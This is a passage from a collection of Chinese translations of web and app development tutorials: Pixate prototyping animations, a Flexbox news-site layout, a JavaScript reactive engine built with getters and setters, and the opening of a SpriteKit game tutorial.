”。你能看到你的手机被列在这里，你需要允许连接所以点击勾选然后你的设备就被连接了。检查一下你的设备，你的电脑应该在顶部被列出了。点击它，然后你就能看到你的这些原型了。你应该看到“ Material Design Prototype ”（这取决于你给它的命名），点击它。现在你将被展示一些关于当你使用你的原型时如何与你的设备进行互动的指示。点击“ Get Started ”，然后你现在应该能看到登录页面了！更棒的是如果你现在点击 _email text field_，它将会渐变然后从你的眼前消失了。</span>\n\n## 创建更多的动画\n\n<span>好的，现在我们要完成这些的动画了。当我点击  _email text field_ 时变得空白并不好。点击 _email text field_ _with input_ ，并且从动画格子中点击并拖动“ Fade ”然后丢到它上面。当你在“ Fade ”下面的“ Based on ”点击第一个下拉格子时，确保你选择了 _email text field_。我们想要展现的效果是当 _email text field_ 渐出时， _email text field with input_ 出现。在“ Fade to ”里面输入“ 100 ”。</span>\n![](http://ww1.sinaimg.cn/large/a490147fgw1f41wtvuc3qj20jp0ci75p.jpg)\n\n<span>我们实际上是在说，当 _email text field_ 被点击时，它渐变到 0 ，并且 _email text field with input_ 渐变到 100 。这有点像“如果这样，就那样”。/span>\n\n<span>现在，如果你回到你的设备，Pixate 应用应该已经刷新了，因为它会自更新。现在如果每样事情都被设置正确了，那么当你点击 _email text field_ 时，它应该能渐出然后 _email text field with input_ 应该会出现。</span>\n\n![](http://ww4.sinaimg.cn/large/a490147fgw1f41wt2s6lmg20ba0k0tca.gif)\n\n<span>现在你需要对 _password text field_ 和 _password text field with input_ 重复之前的那些操作。/span>\n\n## 点击按钮！让登录按钮动起来！\n\n<span>接下来我们要给登录按钮做动画。我们想要的效果是，当你点击按钮时，它抬起然后跌落，就像在真实设备上那样。这给原型添加了一个不错的现实主义的层（译者注：即仿真程度高），如果你想要做一个快速原型，你大可不必做这些，仅仅让这个按钮打开下个界面即可。不过我们这里是在研究 Pixate，所以让我们继续做吧。</span>\n\n<span>首先你需要把 _login button_ 和 _login button raised_ 加到项目里面。这两个在左侧菜单的层级关系里都隶属于 _disabled login button_ ，并且确保它们俩透明度都为 0 。 </span>\n\n<span>当你添加 _login button_ 和 _raised login button_ 时，你可能发现它们有些破碎的感觉。你需要注意的是阴影。不要像使用 Sketch 那样忽视了阴影，Pixate 把阴影算做了图像的一部分。</span>\n\n<span>这里是我对于登录按钮的设置</span>\n\n*   <span>x = 14pt</span>\n*   <span>y = 471pt</span>\n*   <span>width = 332pt</span>\n*   <span>height = 40pt</span>\n\n<span>还有抬起状态的按钮:</span>\n\n*   <span>x = 8pt</span>\n*   <span>y = 465pt</span>\n*   <span>width = 344pt</span>\n*   <span>height = 58pt</span>\n\n这些按钮相互之间应该可以直接替换并且还要给阴影留出空间。\n\n<span>我们需要设置一些条件使 _disabled login button_ 消失。我们想要使它在 _email_text_field_ 和 _password_text_field_ 都被点击并且 _email_text field with input_ 和 _password text field with input_ 都出现的时候消失。如何做呢？好的，当你在 Pixate 中加入一个动画时，你可以指定这个动画发生的条件。条件的编写就像写代码，所以程序员可能会用到这个，但是对于其他人就容忍我吧，并且我们将完成它 :) 。/span>\n\n<span>点击并且拖动“ Fade ”动画到 _disabled login button_ 上。现在给 _email text field_ 设置“ Based on ”。当你完成这些弹出的额外选项时，我们来关注一下“ If ”栏，如果你点击它旁边的问题标志图标，你会得到一个通篇解释，关于这是做什么的和你想要知道的关于层的所有属性。</span>\n\n<span>我们的条件是什么？我们想要去检查：如果 _password text field_ 不再可见，就使 _disabled login button_ 渐出。我们这样做是因为我们知道，如果 _password text field_ 不再可见，那么 _password text field with input_ 就必须可见。</span>\n\n<span>你需要在“ If ”格子里输入这个条件声明：</span>\n\n<span>    password_text_field.opacity == 0</span>\n\n<span>我们加了下划线，因为如果你的层名带空格的话， Pixate 会自动给我们的\" Layer ID \"加下划线。</span>\n\n<span>我们在 _password text field_ 层上通过可见性属性来检查它的可见性，并且确保设置为 0 。</span>\n\n<span>现在如果你回到你的设备上的原型，并且触压 _password text field_ ，然后触压 _email text field_ ，使否状态的按钮应该就消失了。</span>\n\n<span>我们现在需要添加另一个渐出动画。这个动画是在 _password text field_ 被触压时，_email text field_ 渐出。这也是典型的原型是如何正常操作的。</span>\n\n<span>你需要去做的我们之前做一样，只不过采用相反的设置。我将教你如何开始，你需要点击并且拖动另外一个“ Fade ”动画到 _disabled login button_ 上。我把其他的留给你做 ;)。</span>\n\n<span>如果一切就绪，然后当 _email text field_ 和 _password text field_ 不再可见时，你的 _disabled login button_ 按钮应该也消失了。现在我们要使 _login button_ 可见。这将是另外一个简单的渐入动画。</span>\n\n<span>我们基本上需要像对 _disabled login button_ 那样做相同的事情，但是对于两个动画来说，我们想要透明度变为 100 而不是 0 。我确认你现在已经可以做到了，但是我还是会教你如何开始。你需要拖动“ Fade ”动画到 _login button_ 。并且记得添加条件。</span>\n\n<span>好的，现在你应该能看到类似这样的一些东西了：</span>\n\n![](http://ww1.sinaimg.cn/large/a490147fjw1f41vs6l528g20ba0k0q89.gif)\n\n## 抬起你的按钮!\n\n<span>最后我们需要做的是使 _login button_ 被触压的时候抬起；就像 Android 5.0 版本上一个按钮通常的那样。正如你在“ Fantasy Football Fix ”例子的登录页面看到的那样，当你触压“ Upload Squad ”按钮时，它的阴影变大，看起来好像吸住了你的手指一样。</span>\n\n![](http://ww2.sinaimg.cn/large/a490147fjw1f41vufzbuyg20ba0k0gtk.gif)\n\n<span>显然，我们打算使用 _raised login button_ 。首先，拖动“ Tap ”互动到 _login button_ 上，因为我们需要知道它何时被触压了。然后再一次我们需要两个渐变效果所以拖动它们到 _raised login button_ 上。</span>\n\n<span>第一个渐变需要在点击 _login button_ 时触发，所以确保 _login button_ 在“ Based on ”栏中被选中。我们想要第一个渐变使我们抬起的按钮出现，因此设置它的透明度为 100 。我们还应该给渐变命名，这样我们就知道它们是做什么的了。那么把这个渐变叫做“ Fade in on Login Button tap ”（当登陆按钮点击时渐入）吧。</span>\n\n这将使我们的按钮出现并且看起来抬起了，但是如果你现在点击 _login button_ ， _raised login button_ 将出现并且保持在那里。而我们需要的是再次消失回原始的 _login button_ ，所以我们将完成剩余的状态。\n\n<span>这里我们需要另外一个“ Fade ”动画。把这个动画命名为“ Fade out after Rise ”（在抬起后渐出）。同样它也是在 _login button_ 点击时触发。这个动画虽然我们想渐变为 0% ，但是我们需要设置“ Delay ”（延迟）为“ 0.2 ”。这是为了让我们等待 button 渐出，否则你甚至看不到这个按钮了，因为渐入和渐出会在同时发生。</span>\n\n<span>现在如果你点击 _login button_ 你应该得到一个不错的抬起效果了。</span>\n\n<span>![](http://ww1.sinaimg.cn/large/a490147fgw1f41web91qbg20ba0k0dlb.gif)</span>\n\n<span>如果你想要得到更多的乐趣，你也可以让 _login button_ 在被点击时渐入和渐出，但是我把这留给你当作额外的任务 ;) 。这样做的副作用是会产生轻微的闪光，所以看起来按钮好像被点击了。要注意的是，如果 _login button_ 和 _raised login button_ 没有在 Pixate 中被排列好的话，效果看起也不好，所以确保你已经排列好了。</span>\n\n## 最终！我们做好了!\n\n<span>所以总结下这个系列的第二个充实的部分吧。我知道这是一个冗长的过程，但是这是因为我必须把绝对数量的指导都写出来。一旦你做过一次之后，你就可以把它作为参考了。我的建议都依附于小的样本项目，所以如果你需要知道如何制作一个抬起的按钮，你仅仅需要打开这个项目然后简洁明了地看到列出的所有东西。当你给原型加入更多的流程性的东西时，就会使得项目变得忙乱，然后你可能就不能简单地定位指定事件的动作或序列了。</span>\n\n"
  },
  {
    "path": "TODO/how-to-build-a-news-website-layout-with-flexbox.md",
    "content": ">* 原文链接 : [How to Build a News Website Layout with Flexbox](http://webdesign.tutsplus.com/tutorials/how-to-build-a-news-website-layout-with-flexbox--cms-26611)\n* 原文作者 : [Jeremy Thomas](http://tutsplus.com/authors/jeremy-thomas)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [zhangzhaoqi](https://github.com/joddiy)\n* 校对者: [Galen](https://github.com/galenyuan)，[Jasper Zhong](https://github.com/DeadLion)\n\n# 如何用 Flexbox 构建一个新闻网站布局\n\n![最终产品效果图](https://cms-assets.tutsplus.com/uploads/users/30/posts/26611/final_image/preview.png)\n\n<figcaption>你将要创建的东西</figcaption>\n\n在你刚接触 Flexbox 的时候没有必要理解关于 Flexbox 的 _所有_ 方面。在这篇教程中，我们将介绍 Flexbox 的一些新特性。同时设计一种新的、像 [The Guardian](http://www.theguardian.com) 一样的布局方式。\n\n我们使用 Flexbox 是因为它提供了许多强大的特性：\n\n*   我们可以通过简单的方式来实现响应式的纵列\n*   我们可以使列等高\n*   我们可以把内容塞入容器的 _底部_\n\n我们开始吧！\n\n## <span class=\"sectionnum\">1.</span> 用两个列开始\n\n在 CSS 中创建列一直是一个挑战。在很长的一段时间里，唯一的选择是使用 float 或者 table，但是这两种方法都有各自的问题。\n\nFlexbox 使流程更加简单，提供了如下：\n\n*   **简洁的代码**：我们仅仅只需要在容器了添加 `display: flex`\n*   不需要去 **清除** float, Flexbox 避免出现无法预料的布局行为\n*   **语义标记**\n*   **灵活性**：我们可以用很少的 CSS 代码来调整列的尺寸、伸缩和对齐方式\n\n让我们从创建两个列开始：一个占容器的 2/3 宽度，另一个占 1/3 。\n\n    <div class=\"columns\">\n      <div class=\"column main-column\">\n        2/3 column\n      </div>\n      <div class=\"column\">\n        1/3 column\n      </div>\n    </div>\n\n这里有两个元素：\n\n1.  一个 `columns` 容器\n2.  两个 `column` 子容器，其中一个添加名为 `main-column` 的 class 来使它更宽。\n\n    .columns {\n      display: flex;\n    }\n\n    .column {\n      flex: 1;\n    }\n\n    .main-column {\n      flex: 2;\n    }\n\n因为 `main-column` 的 flex 值设为了 `2` ，它将会占用其他列的两倍的空间。\n\n通过添加一些视觉效果，我们将得到：\n\n<iframe src=\"https://codepen.io/tutsplus/embed/gMbpQM/?height=200&amp;theme-id=12451&amp;default-tab=result\" width=\"850\" height=\"200\" frameborder=\"no\" allowfullscreen=\"true\" scrolling=\"no\"></iframe>\n\n## <span class=\"sectionnum\">2.</span> 把每一列都变成 Flexbox 容器\n\n这两列中的每一个都会垂直地堆积数篇文章，所以我们打算也把 `column` 元素移到 Flexbox 容器中。我们想要：\n\n*   文章被垂直堆积\n*   文章可 _拉伸_ 并且可用\n\n    .column {\n      display: flex;\n      flex-direction: column; /* 确保文章垂直堆积 */\n    }\n\n    .article {\n      flex: 1; /* 拉伸文章填充整个保留空间 */\n    }\n\n_容器_ 上的 `flex-direction: column` 规则合并了 _子容器_ 上的 `flex: 1`  规则来确保文章可以充满整个垂直空间，也保证了两个第一列有相同的高度。\n\n<iframe src=\"https://codepen.io/tutsplus/embed/PzwqXG/?height=400&amp;theme-id=12451&amp;default-tab=result\" width=\"850\" height=\"400\" frameborder=\"no\" allowfullscreen=\"true\" scrolling=\"no\"></iframe>\n\n## <span class=\"sectionnum\">3.</span> 把每一篇文章都变成 Flexbox 容器\n\n现在，为了给我们额外的控制，我们要把每一篇文章移到 Flexbox 容器下。这些文章都包含：\n\n*   一个标题\n*   一段报道\n*   一个带有作者和评论数量的信息栏\n*   一张可选的响应图片\n\n我们在这里使用 Flexbox 是为了把信息栏塞入底部。作为参照，这是我们的目标文章布局：\n\n<figure class=\"post_image\">![](https://cms-assets.tutsplus.com/uploads/users/30/posts/26611/image/card.png)</figure>\n\n这里是代码：\n\n    <a class=\"article first-article\">\n      <figure class=\"article-image\">\n        <img src=\"\">\n      </figure>\n      <div class=\"article-body\">\n        <h2 class=\"article-title\">\n          <!-- 标题 -->\n        </h2>\n        <p class=\"article-content\">\n          <!-- 内容 -->\n        </p>\n        <footer class=\"article-info\">\n          <!-- 信息 -->\n        </footer>\n      </div>\n    </a>\n\n    .article {\n      display: flex;\n      flex-direction: column;\n    }\n\n    .article-body {\n      display: flex;\n      flex: 1;\n      flex-direction: column;\n    }\n\n    .article-content {\n      flex: 1; /* 这将使文本填充保留空间，并且把信息栏塞入底部 */\n    }\n\n多亏了 `flex-direction: column;` 规则，文章的元素都被垂直排列了。\n\n我们给 `article-content` 元素使用 `flex: 1` 因此它可以填充整个空白空间，然后把 `article-info` 塞入底部，无论列的高度如何。\n\n<iframe src=\"https://codepen.io/tutsplus/embed/RRNWNR/?height=500&amp;theme-id=12451&amp;default-tab=result\" width=\"850\" height=\"500\" frameborder=\"no\" allowfullscreen=\"true\" scrolling=\"no\"></iframe>\n\n## <span class=\"sectionnum\">4.</span> 添加一些嵌套列\n\n在左边一列，我们真正想要的是 _另一组_ 列。所以我们使用之前相同的 `columns` 容器来替换第二个文章。\n\n    <div class=\"columns\">\n      <div class=\"column nested-column\">\n        <a class=\"article\">\n          <!-- 文章内容 -->\n        </a>\n      </div>\n\n      <div class=\"column\">\n        <a class=\"article\">\n          <!-- 文章内容 -->\n        </a>\n        <a class=\"article\">\n          <!-- 文章内容 -->\n        </a>\n        <a class=\"article\">\n          <!-- 文章内容 -->\n        </a>\n      </div>\n    </div>\n\n因为我们想要第一个嵌套列更宽一些，所以我们在附加效果中加入了 `nested-column` class：\n    .nested-column {\n      flex: 2;\n    }\n\n这将使新创建列的宽度是其他列的两倍。\n\n<iframe src=\"https://codepen.io/tutsplus/embed/wWBKaq/?height=500&amp;theme-id=12451&amp;default-tab=result\" width=\"850\" height=\"500\" frameborder=\"no\" allowfullscreen=\"true\" scrolling=\"no\"></iframe>\n\n## <span class=\"sectionnum\">5.</span> 给第一篇文章一个水平布局\n\n第一篇文章太大了。为了优化使用空间，让我们把它的布局变成水平的。\n\n    .first-article {\n      flex-direction: row;\n    }\n\n    .first-article .article-body {\n      flex: 1;\n    }\n\n    .first-article .article-image {\n      height: 300px;\n      order: 2;\n      padding-top: 0;\n      width: 400px;\n    }\n\n这里的 `order` 属性非常有用，因为它允许我们不用影响 HTML 标记就可以修改 HTML 元素的顺序。这里的 `article-image` 在标记中实际上在 `article-body` 之前，但是它表现得好像在之后一样。\n\n<iframe src=\"https://codepen.io/tutsplus/embed/VjYvve/?height=500&amp;theme-id=12451&amp;default-tab=result\" width=\"850\" height=\"500\" frameborder=\"no\" allowfullscreen=\"true\" scrolling=\"no\"></iframe>\n\n## <span class=\"sectionnum\">6.</span> 使布局可响应\n\n这就是我们想要的所有效果，虽然看起来有点破碎。让我们通过响应式来修复它。。\n\nFlexbox 一个非常好的特性是：如果想让 Flexbox 完全失效，你仅仅只需要移除容器上的 `display: flex` 规则即可，其他的所有 Flexbox 属性（比如 `align-items` 或者 `flex`）完全可以保留。\n\n这样一来，仅通过某一特定断点就能触发 “响应式” 布局。\n\n我们将从 `.columns` 和 `.column` 上移除 `display: flex` ，而不是把它们放入  Media Query （响应式布局）中。\n\n    @media screen and (min-width: 800px) {\n      .columns,\n      .column {\n        display: flex;\n      }\n    }\n\n这就是了！在更小的屏幕上，所有的文章都在另一篇文章的上面。超过 800px 时，它们将会排列成两列。\n\n## <span class=\"sectionnum\">7.</span> 添加一些结束的润色\n\n为了让布局在更大屏设备适应，让我们对 CSS 做一些微调：\n\n    @media screen and (min-width: 1000px) {\n      .first-article {\n        flex-direction: row;\n      }\n\n      .first-article .article-body {\n        flex: 1;\n      }\n\n      .first-article .article-image {\n        height: 300px;\n        order: 2;\n        padding-top: 0;\n        width: 400px;\n      }\n\n      .main-column {\n        flex: 3;\n      }\n\n      .nested-column {\n        flex: 2;\n      }\n    }\n\n第一篇文章的内容是横向布局的，其中文字在左边，图片在右边。同样，主列更宽（ 75% ），嵌套列也是 （ 66% ）。这就是最终效果了！\n\n<iframe src=\"https://codepen.io/tutsplus/embed/Wxbvdp/?height=500&amp;theme-id=12451&amp;default-tab=result\" width=\"850\" height=\"500\" frameborder=\"no\" allowfullscreen=\"true\" scrolling=\"no\"></iframe>\n\n## 结论\n\n我希望我已经展示给你了：在你刚接触 Flexbox 的时候没有必要理解关于 Flexbox 的所有方面。这个可响应的新闻布局是一个非常有用的模版；拆解并且尝试一下，看看你掌握了多少！\n\n"
  },
  {
    "path": "TODO/how-to-build-a-reactive-engine-in-javascript-part-1-observable-objects.md",
    "content": "> * 原文地址：[How to build a reactive engine in JavaScript. Part 1: Observable objects](https://monterail.com/blog/2016/how-to-build-a-reactive-engine-in-javascript-part-1-observable-objects)\n> * 原文作者：本文已获原作者 [Damian Dulisz](https://disqus.com/by/damiandulisz/) 授权\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：[IridescentMia](https://github.com/IridescentMia)\n> * 校对者：[reid3290](https://github.com/reid3290)，[malcolmyu](https://github.com/malcolmyu)\n\n![](https://d4a7vd7s8p76l.cloudfront.net/uploads/1484604970-4-7876/observables.png)\n\n# 如何使用 JavaScript 构建响应式引擎 —— Part 1：可观察的对象 #\n\n## 响应式的方式 ##\n\n随着对强健、可交互的网站界面的需求不断增多，很多开发者开始拥抱响应式编程规范。\n\n在开始实现我们自己的响应式引擎之前，快速地解释一下到底什么是响应式编程。维基百科给出一个经典的响应式界面实现的例子 —— 叫做 spreadsheet。定义一个准则，对于 `=A1+B1`，只要  `A1` 或 `B1` 发生变化，`=A1+B1` 也会随之变化。这样的准则也可以被理解为是一种 computed value。\n\n我们将会在这系列教程的 Part 2 部分学习如何实现 computed value。在那之前，我们首先需要对响应式引擎有个基础的了解。\n\n## 引擎 ##\n\n目前有很多不同解决方案可以观察到应用状态的改变，并对其做出反应。\n\n- Angular 1.x 有脏检查。\n- React 由于它工作方式，并不追踪数据模型中的改变。它用虚拟 DOM 比较并修补 DOM。\n- Cycle.js 和 Angular 2 更倾向于响应流方式实现，像 XStream 和 Rx.js。\n- 像 Vue.js， MobX 或 Ractive.js 这些库都使用 getters/setters 变量创建可观察的数据模型。\n\n在这篇教程中，我们将使用 getters/setters 的方式观察并响应变化。\n\n> 注意：为了让这篇教程尽量保持简单，代码缺少对非初级数据类型或嵌套属性的支持，并且很多内容需要完整性检查，因此决不能认为这些代码已经可以用于生产环境。下面的代码是受 Vue.js 启发的响应式引擎的实现，使用 ES2015 标准编写。\n\n## 可观察的对象 ##\n\n让我们从一个 `data` 对象开始，我们想要观察它的属性。\n\n```\nlet data = {\n  firstName: 'Jon',\n  lastName: 'Snow',\n  age: 25\n}\n```\n\n首先从创建两个函数开始，使用 getter/setter 的功能，将对象的普通属性转换成可观察的属性。\n\n```\nfunction makeReactive (obj, key) {\n  let val = obj[key]\n\n  Object.defineProperty(obj, key, {\n    get () {\n      return val // 简单地返回缓存的 value\n    },\n    set (newVal) {\n      val = newVal // 保存 newVal\n      notify(key) // 暂时忽略这里\n    }\n  })\n}\n\n// 循环迭代对象的 keys\nfunction observeData (obj) {\n  for (let key in obj) {\n    if (obj.hasOwnProperty(key)) {\n      makeReactive(obj, key)\n    }\n  }\n}\n\nobserveData(data)\n```\n\n通过运行 `observeData(data)`，将原始的对象转换成可被观察的对象；现在当对象的 value 发生变化时，我们有创建通知的办法。\n\n## 响应变化 ##\n\n在我们开始接收 *notifying* 前，我们需要一些通知的内容。这里是使用观察者模式的一个极好例子。在这个案例中我们将使用 signals 实现。\n\n我们从 `observe` 函数开始。\n\n```\nlet signals = {} // Signals 从一个空对象开始\n\nfunction observe (property, signalHandler) {\n  if(!signals[property]) signals[property] = [] // 如果给定属性没在 signal 中，则创建这个属性的 signal，并将其设置为空数组来存储 signalHandlers\n\n  signals[property].push(signalHandler) // 将 signalHandler 存入 signal 数组，高效地获得一组保存在数组中的回调函数\n}\n```\n\n我们现在可以这样用 `observe` 函数：`observe('propertyName', callback)`，每次属性值发生改变的时候 `callback` 函数应该被调用。当多次在一个属性上调用 **observe** 时，每个回调函数将被存在对应属性的 signal 数组中。这样就可以存储所有的回调函数并且可以很容易地获得到它们。\n\n现在来看一下上文中提到的 `notify` 函数。\n\n```\nfunction notify (signal, newVal) {\n  if(!signals[signal] || signals[signal].length < 1) return // 如果没有 signal 的处理器则提前 return \n\n  signals[signal].forEach((signalHandler) => signalHandler()) // 调用给定属性的每个 signalHandler \n}\n```\n\n如你所见，现在每次一个属性发生变化，就会调用对其分配的 signalHandlers。\n\n所以我们把它全部封装起来做成一个工厂函数，传入想要响应的数据对象。我把它命名为 `Seer`。我们最终得到如下：\n\n```\nfunction Seer (dataObj) {\n  let signals = {}\n\n  observeData(dataObj)\n\n  // 除了响应式的数据对象，我们也需要返回并且暴露出 observe 和 notify 函数。\n  return {\n    data: dataObj,\n    observe,\n    notify\n  }\n\n  function observe (property, signalHandler) {\n    if(!signals[property]) signals[property] = []\n\n    signals[property].push(signalHandler)\n  }\n\n  function notify (signal) {\n    if(!signals[signal] || signals[signal].length < 1) return\n\n    signals[signal].forEach((signalHandler) => signalHandler())\n  }\n\n  function makeReactive (obj, key) {\n    let val = obj[key]\n\n    Object.defineProperty(obj, key, {\n      get () {\n        return val\n      },\n      set (newVal) {\n        val = newVal\n        notify(key)\n      }\n    })\n  }\n\n  function observeData (obj) {\n    for (let key in obj) {\n      if (obj.hasOwnProperty(key)) {\n        makeReactive(obj, key)\n      }\n    }\n  }\n}\n```\n\n现在我们需要做的就是创建一个新的可响应对象。多亏了暴露出来的 `notify` 和 `observe` 函数，我们可以观察到并响应对象的改变。\n\n```\nconst App = new Seer({\n  title: 'Game of Thrones',\n  firstName: 'Jon',\n  lastName: 'Snow',\n  age: 25\n})\n\n// 为了订阅并响应可响应 APP 对象的改变：\nApp.observe('firstName', () => console.log(App.data.firstName))\nApp.observe('lastName', () => console.log(App.data.lastName))\n\n// 为了触发上面的回调函数，像下面这样简单地改变 values：\nApp.data.firstName = 'Sansa'\nApp.data.lastName = 'Stark'\n\n```\n\n很简单，是不是？现在我们讲完了基本的响应式引擎，让我们来用用它。\n我提到过随着前端编程可响应式方法的增多，我们不能总想着在发生改变后手动地更新 DOM。\n\n有很多方法来完成这项任务。我猜现在最流行的趋势是用虚拟 DOM 的办法。如果你对学习如何创建你自己的虚拟 DOM 实现感兴趣，已经有很多这方面的教程。然而，这里我们将用到更简单的方法。\n\nHTML 看起来像这样： `html<h1>Title comes here</h1>`\n\n响应式更新 DOM 的函数看起来像这样：\n\n```\n// 首先需要获得想要保持更新的节点。\nconst h1Node = document.querySelector('h1')\n\nfunction syncNode (node, obj, property) {\n  // 用可见对象的属性值初始化 h1 的 textContent 值\n  node.textContent = obj[property]\n\n  // 开始用我们的 Seer 的实例 App.observe 观察属性。\n  App.observe(property, value => node.textContent = obj[property] || '')\n}\n\nsyncNode(h1Node, App.data, 'title')\n```\n\n这样做是可行的，但是使用它把所有数据模型绑定到 DOM 元素需要大量的工作。\n\n这就是我们为什么要再向前迈一步，然后将所有这些自动化完成。\n如果你熟悉 AngularJS 或者 Vue.js，你肯定记得使用自定义属性 `ng-bind` 或 `v-text`。我们在这里创建类似的东西。\n我们的自定义属性叫做 `s-text`。我们将寻找在 DOM 和数据模型之间建立绑定的方式。\n\n让我们更新一下 HTML：\n\n```\n<!-- 'title' 是我们想要在 <h1> 内显示的属性 -->\n<h1 s-text=\"title\">Title comes here</h1>\nfunction parseDOM (node, observable) {\n  // 获得所有具有自定义属性 s-text 的节点\n  const nodes = document.querySelectorAll('[s-text]')\n\n  // 对于每个存在的节点，我们调用 syncNode 函数\n  nodes.forEach((node) => {\n    syncNode(node, observable, node.attributes['s-text'].value)\n  })\n}\n\n// 现在我们需要做的就是在根节点 document.body 上调用它。所有的 `s-text` 节点将会自动的创建与之对应的响应式属性的绑定。\nparseDOM(document.body, App.data)\n```\n\n## 总结 ##\n\n现在我们可以解析 DOM 并且将数据模型绑定到节点上，把这两个函数添加到 Seer 工厂函数中，这样就可以在初始化的时候解析 DOM。\n\n结果应该像下面这样：\n\n```\nfunction Seer (dataObj) {\n  let signals = {}\n\n  observeData(dataObj)\n\n  return {\n    data: dataObj,\n    observe,\n    notify\n  }\n\n  function observe (property, signalHandler) {\n    if(!signals[property]) signals[property] = []\n\n    signals[property].push(signalHandler)\n  }\n\n  function notify (signal) {\n    if(!signals[signal] || signals[signal].length < 1) return\n\n    signals[signal].forEach((signalHandler) => signalHandler())\n  }\n\n  function makeReactive (obj, key) {\n    let val = obj[key]\n\n    Object.defineProperty(obj, key, {\n      get () {\n        return val\n      },\n      set (newVal) {\n        val = newVal\n        notify(key)\n      }\n    })\n  }\n\n  function observeData (obj) {\n    for (let key in obj) {\n      if (obj.hasOwnProperty(key)) {\n        makeReactive(obj, key)\n      }\n    }\n    //转换数据对象后，可以安全地解析 DOM 绑定。\n    parseDOM(document.body, obj)\n  }\n\n  function syncNode (node, observable, property) {\n    node.textContent = observable[property]\n    // 移除了 `Seer.` 是因为 observe 函数在可获得的作用域范围之内。\n    observe(property, () => node.textContent = observable[property])\n  }\n\n  function parseDOM (node, observable) {\n    const nodes = document.querySelectorAll('[s-text]')\n\n    nodes.forEach((node) => {\n      syncNode(node, observable, node.attributes['s-text'].value)\n    })\n  }\n}\n```\n\nJsFiddle 上的例子：\n\nHTML\n\n```\n<h1 s-text=\"title\"></h1>\n<div class=\"form-inline\">\n  <div class=\"form-group\">\n    <label for=\"title\">Title: </label>\n    <input \n      type=\"text\" \n      class=\"form-control\" \n      id=\"title\" placeholder=\"Enter title\"\n      oninput=\"updateText('title', event)\">\n  </div>\n  <button class=\"btn btn-default\" type=\"button\" onclick=\"resetTitle()\">Reset title</button>\n</div>\n```\n\nJS\n\n```\n// 代码用了 ES2015，使用兼容的浏览器才可以哦，比如 Chrome，Opera，Firefox\nfunction Seer (dataObj) {\n  let signals = {}\n\n  observeData(dataObj)\n\n  return {\n    data: dataObj,\n    observe,\n    notify\n  }\n\n  function observe (property, signalHandler) {\n    if(!signals[property]) signals[property] = []\n\n    signals[property].push(signalHandler)\n  }\n\n  function notify (signal) {\n    if(!signals[signal] || signals[signal].length < 1) return\n\n    signals[signal].forEach((signalHandler) => signalHandler())\n  }\n\n  function makeReactive (obj, key) {\n    let val = obj[key]\n\n    Object.defineProperty(obj, key, {\n      get () {\n        return val\n      },\n      set (newVal) {\n        val = newVal\n        notify(key)\n      }\n    })\n  }\n\n  function observeData (obj) {\n    for (let key in obj) {\n      if (obj.hasOwnProperty(key)) {\n        makeReactive(obj, key)\n      }\n    }\n    //转换数据对象后，可以安全地解析 DOM 绑定。\n    parseDOM(document.body, obj)\n  }\n\n  function syncNode (node, observable, property) {\n    node.textContent = observable[property]\n    // 移除了 `Seer.` 是因为 observe 函数在可获得的作用域范围之内。\n    observe(property, () => node.textContent = observable[property])\n  }\n\n  function parseDOM (node, observable) {\n    const nodes = document.querySelectorAll('[s-text]')\n\n    for (const node of nodes) {\n      syncNode(node, observable, node.attributes['s-text'].value)\n    }\n  }\n}\n\nconst App = Seer({\n  title: 'Game of Thrones',\n  firstName: 'Jon',\n  lastName: 'Snow',\n  age: 25\n})\n\nfunction updateText (property, e) {\n\tApp.data[property] = e.target.value\n}\n\nfunction resetTitle () {\n\tApp.data.title = \"Game of Thrones\"\n}\n```\n\nResources\n\n```\nEXTERNAL RESOURCES LOADED INTO THIS FIDDLE:\n\nbootstrap.min.css\n```\n\nResult\n\n![Markdown](http://i2.buimg.com/1949/cf89248985467d6f.png)\n\n上文的代码可以在这里找到： [github.com/shentao/seer](https://github.com/shentao/seer/tree/master)\n\n## 未完待续…… ##\n\n这篇是制作你自己的响应式引擎系列文章中的第一篇。\n\n**[下一篇](https://github.com/xitu/gold-miner/blob/master/TODO/computed-properties-javascript-dependency-tracking.md) 将是关于创建 computed properties，每个属性都有它自己的可追踪依赖。**\n\n非常欢迎在评论区提出你对于下一篇文章讲述内容的反馈和想法！\n\n感谢阅读。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/how-to-build-a-spritekit-game-in-swift-3-part-1.md",
    "content": "> * 原文地址：[How To Build A SpriteKit Game In Swift 3 (Part 1)](https://www.smashingmagazine.com/2016/11/how-to-build-a-spritekit-game-in-swift-3-part-1/)\n* 原文作者：[Marc Vandehey](https://www.smashingmagazine.com/author/marcvandehey/)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[Gocy](https://github.com/Gocy015/)\n* 校对者：[Tuccuay](https://github.com/Tuccuay), [DeepMissea](https://github.com/DeepMissea)\n\n# 如何在 Swift 3 中用 SpriteKit 框架编写游戏 (Part 1)\n\n**你有没有想过要如何开始创作一款基于 SpriteKit 的游戏？开发一款基于真实物理规则的游戏是不是让你望而生畏？随着 [SpriteKit](https://developer.apple.com/spritekit/)<sup>[\\[1\\]](#note-1)</sup> 的出现，在 iOS 上开发游戏已经变得空前的简单了。**\n\n本系列将分为三个部分，带你探索 SpriteKit 的基础知识。我们会接触到物理引擎（ SKPhysics ）、碰撞、纹理管理、互动、音效、音乐、按钮以及场景（ `SKScene` ） 。这些看上去艰深晦涩的东西其实非常容易掌握。赶紧跟着我们一起开始编写 RainCat 吧。\n\n[![Raincat: 第一课](https://www.smashingmagazine.com/wp-content/uploads/2016/10/raincat_header-preview-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2016/10/raincat_header-preview-opt.png)<sup>[\\[2\\]](#note-2)</sup>\n\nRainCat，第一课\n\n我们将要实现的这个游戏有一个简单的前提：我们想喂饱一只饥肠辘辘的猫，但它现在正孤身地站在雨中。不巧地是，RainCat 